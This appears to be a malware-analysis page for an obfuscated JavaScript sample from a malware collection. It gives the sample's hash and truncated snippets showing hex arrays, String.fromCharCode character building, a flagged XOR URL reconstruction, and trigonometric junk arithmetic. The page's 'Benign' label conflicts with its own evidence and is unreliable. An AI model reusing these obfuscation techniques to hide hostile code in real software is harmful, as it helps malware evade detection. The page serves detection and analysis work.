Benign javascript-malware-collection Download

20151216_22360b23a8bdaa08b2add843d39177db.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256d78acd5e0af2f9ac4d81962bd09fe65cf2212c1f8be38c32ec3481cee9c5b216

Evidence

0x3f hex byte token line 1

1RhpoLQJm=[0x3,0x6,0xc,0x10,0x18,0x19,0x22,0x26,0x28,0x30,0x32,0x3a,0x3f,0x41,0x48,0x4f,0x50,0x59,0x5b,0x63,0x68,0x6b,0x71,0x76,0x7b,0x80,0x86,0x8a,0x8e,0x92,0x9a,0x9c,0xa2,0xa9,0xac,0xaf,0xb7,0xba,0x …

Builds characters with String.fromCharCode line 2

2:146… 'Q','M','I','i','P','(','d',']','&','T','K','Q','Q','H','v','7',String.fromCharCode(10),'E','r','V','l','7',' ','b','%','L','s','b','B','j','D',String.fromCharCode(13),'n','B','B','(','i','K','B','M','v','t','j' …

XOR URL reconstruction call line 2

2:1850… '1','Y','o','q','w','h','Z','>','%','A','W',':',' ','H','[','e',String.fromCharCode(92),'m','X','k','U','k',']','"','V','M','.','^','W','7','s','_','8','@','!','A','W','`','s','W','Q','a','@','<','5','b','a','n','m','r','>','c','(','(','c','d','9','N','5','B …

Dense indexed short-token grid lines 12–13

12:33… qimuoEy,RjTCXWiYAxD) {LVCfkIVhXDmICL[nJvqNHqimuoEy]=RjTCXWiYAxD;}
13var f = new Array();f[0]=[];f[0][0]='d';f[0][1]='a';f[0][2]='d';f[0][3]='a';f[0][4]='46';f[0][5]='3d';f[0][6]='42';f[0][7]='14';f[0][8]='2n';f[0][9]='14';f[0][10]='25';f[0][11]='14';f[0][12]='16';f[0][13]='47';f[0][14]='3k';f[0][15]='3d';f[0][16]='44';f[0][17]='3g';f[0][18]='3l';f[0][19]='3g';f[0][20]='49';f[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],f[4],f[5]];
20var pvdBZdScY=[];
21function GgkRLrUcFHydDbkIO(quXvw){CgnkmbnHFjR= '';dIgblrcbeef=Math.round((Math.pow(Math.sin(676), 2) + Math.pow(Math.cos(676), 2) - 1));while(true){if (dIgblrcbeef >= (-349+439)/15){break;}pvdBZdScY[dIgblrcbeef]=Math.round((Math.pow(Math.sin(669), 2) + Math.pow(Math.cos(669), 2) - 1)); while(true) { if(pvdBZdScY[dIgblrcbeef] > quXvw[dIgblrcbeef].length-(-286+568)/282) { break; } if (ZvQlLDj(VdlTO(quXvw[dIgblrcbeef][pvdBZdScY[dIgblrcbeef]],(24233+799)/894,(2222+68)/229))) {CgnkmbnHFjR += vdFKbqxrsmnCQBamMfumrRPYinNDRjxRbOPLHCTuAwtKrdIxGynIpq([quXvw[dIgblrcbeef][pvdBZdScY[dIgblrcbeef]]], Math.round((Math.pow(Math.sin(776), 2) + Math.pow(Math.cos(776), 2) - 1)));} pvdBZdScY[dIgblrcbeef]++;}dIgblrcbeef++;} return CgnkmbnHFjR}
22var bOjNNDIUQFavYYCEgEUNKjwvoHttHUWln = 'oUgyEKxBaNpSGGvURBIuYnVNHFVrsTdpRbTF';var eJlFBBnzvJOngdCQbEkGwUycXXXSReDB = 'OVYkhbZaTYpeWAkyzIBNHbTqXucGIdDVzRzr';WWshQpjebhsHJbt(GgkRLrUcFHydDbkIO(quXvw),bOjNNDIUQFavYYCEgEUNKjwvoHttHUWln,eJlFBBnzvJOngdCQbEkGwUycXXXSReDB);